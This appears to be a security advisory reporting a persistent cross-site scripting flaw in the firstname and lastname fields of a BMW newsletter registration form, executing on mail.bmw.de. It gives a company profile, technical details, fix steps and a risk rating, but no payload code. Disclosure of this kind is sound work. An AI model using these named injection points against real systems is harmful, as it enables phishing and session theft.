Product & Service Introduction:
===============================
Die Bayerische Motoren Werke Aktiengesellschaft (BMW AG) ist ein weltweit operierender, börsennotierter Automobil- und Motorradhersteller mit Sitz in München,
der unter dem Markennamen BMW Group auftritt. Die Produktpalette umfasst die Automobil- und Motorrad-Marke BMW, die Automarken Mini und Rolls-Royce sowie die
BMW-Submarken BMW M und BMW i.
Der Konzern hat sich vor allem seit den 1960er Jahren unter der Marke BMW als Hersteller hochpreisiger, komfortabel ausgestatteter und gut motorisierter Reisewagen
mit sportlichem Anspruch einen Namen gemacht und zählt damit zu den sogenannten Premiumherstellern. Daneben zielt die Marke Mini mit Retro-Modellen auf jüngere,
lifestyle-orientierte Kundschaft ab, während bei Rolls-Royce in geringer Stückzahl höchstpreisige Luxuslimousinen entstehen. Die Kernmarke BMW geht auf die 1913
durch Karl Rapp in München gegründeten Rapp Motorenwerke zurück. Sie wurden durch Franz Josef Popp ab 1917 ausgebaut und firmierten ab 1918 als Aktiengesellschaft
Bayerische Motorenwerke sowie ab 1920 als Süddeutsche Bremsen-AG. Die Motorenbau-Abteilung und der alte Unternehmensname wurden 1922 verkauft und in die 1916
begründete Bayerische Flugzeugwerke AG eingegliedert, die seitdem als BMW firmiert.
BMW gehört mit 104,2 Milliarden Euro Umsatz und rund 134.000 Beschäftigten im Geschäftsjahr 2019 zu den größten Wirtschaftsunternehmen Deutschlands und zählte
mit einer Jahresproduktion von 2,54 Millionen Fahrzeugen im Jahr 2019 zu den 15 größten Autoherstellern der Welt. Das Unternehmen ist sowohl mit Stamm- als
auch Vorzugsaktien an der Börse notiert, wobei die Stammaktie im deutschen Leitindex DAX sowie im DivDAX vertreten ist. Größte Anteilseigner mit zusammen etwa
46,8 % sind Susanne Klatten und Stefan Quandt, die der Industriellenfamilie Quandt angehören. Darüber hinaus ist BMW auch 2018 in den Nachhaltigkeitsindeces
Dow Jones Sustainability Indices (DJSI) „World“ und „Europe“ sowie FTSE4Good gelistet.

Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official BMW online service portal web-application.
Guests are able to inject own malicious script codes on the application-side of the vulnerable service module to compromise emails
or delivered content via the sender.
The vulnerability is located in the `firstname` and `lastname` value parameters of the `mail` module. The vulnerable parameters are
insecure sanitized next to being delivered inside of a basic html mail template.
Remote attackers are able to inject own malicious script code via POST method request to the application-side of the bmw domain mailing service.
The attack vector of the vulnerability is persistent on the application-side and the request method to inject is POST. The attacker does not need
to be directly authenticated because its only an initial registration without direct activiation request. The injection points are the vulnerable
input fields in the BMW 4er Coupé registration formular and the execution of the malform injected code takes place in the `mail.bmw.de`, `m.mail.bmw.de`
domains with the unique `/jsp/m.jsp` file by a client-side GET method request.
The issue affects all pages listed with the newsletter module. The vulnerability allows email spoofing, phishing, spamming, cross site requests for
redirects to malware or exploits and persistent manipulation of bmw domain (email) contents. A targeted user can not see that the manipulated website
is insecure because of the trusted native source that deliveres the contexts over the bmw mailing (mail.bmw.de).
The exploitation of the persistent input validation web vulnerability requires no or low user inter action and no privileged application user account.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects to malicious sources
and persistent manipulation of affected web module context.

Solution - Fix & Patch:
=======================
1. The vulnerability can be patched by a parse and encode of the vulnerable `firstname`, `lastname` input fields in all the affected newsletter registration forms.
2. Restrict the affected input fields and disallow the usage of special chars to prevent malicious script code injection attacks.
3. Escape or safe encode the name parameter content in the html generated template on the affected bmw mailing or unique domain page.
4. Sanitize in the outgoing emails through the bmw mail server the affected name parameters to finally resolve the vulnerability.
5. Due to the manipulation of the content with persistent vector the inner security mechanics should already have noted you about our interaction.
Normally when a user changes the contents the page links needs to be checked for malware or suspicious activities. In thus case our attack was invisible for the cert which could assist to readjust

Security Risk:
==============
The security risk of the persistent input validation web vulnerability in the web-application module is estimated as medium.
The vulnerability can be used to produce malicious and malformed content to phish or exploit user session data the easy way.
The targeted users can not see that the delivered contents are not from the original bmw source. The user does not need to
verify his registration which allows to perform the attack against other accounts in a simple way.
